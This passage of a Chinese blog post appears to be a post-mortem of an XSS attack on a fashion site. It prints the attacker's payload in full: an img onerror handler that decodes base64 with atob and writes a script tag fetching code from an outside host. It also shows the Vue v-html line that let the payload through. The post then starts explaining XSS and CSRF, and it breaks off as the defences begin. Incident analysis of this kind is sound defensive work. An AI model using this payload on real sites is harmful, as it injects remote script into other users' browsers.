前言
今天主站遭受了xss攻击,起因是一个普通用户发表了一个穿搭,后端接收到异常警报排查后发现用户的穿搭的描述中带有:
1 | <p><body/hidden><img src=x onerror=document['write'](atob('PGJvZHkvaGlkZGVuPjxzY3JpcHQgc3JjPWh0dHBzOi8vczUubW9ndWNkbi5jb20vbWxjZG4vYzQ1NDA2LzE5MDQxNV82M2o2NWxlazRkMjJnODZjNWhiN2thOThsOWZmZT48L3NjcmlwdD4='))></p> |
因为穿搭look中带有格式化后html的描述内容,所以直接通过v-html指令输出了描述内容:
1 | <div v-if="from === 'detail'" v-html="content" ref="content" style="-webkit-user-select: text"></div> |
这个时候攻击的html标签将会直接被注入到页面中,这里还涉及到另外一个知识点:
- btoa(base64加密)
- atob (base64解密)
经过atob
解密后:
1 | atob('PGJvZHkvaGlkZGVuPjxzY3JpcHQgc3JjPWh0dHBzOi8vczUubW9ndWNkbi5jb20vbWxjZG4vYzQ1NDA2LzE5MDQxNV82M2o2NWxlazRkMjJnODZjNWhiN2thOThsOWZmZT48L3NjcmlwdD4=') |
通过document['write']
将dom写入页面后,通过mogucdn
资源将会下载脚本:
1 | var ua = navigator.userAgent.toLowerCase(); |
所幸精选穿搭必须由产品手动审核,该look并不会进入首页,否则至少将造成P1级故障
安全于防范
常见攻击手段
XSS
- 跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
CSRF
- 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
XSS
XSS防范
在前言中的案例,就是XSS
攻击的典范。我们如何避免被XSS
攻击呢,可以从以下几方面入手: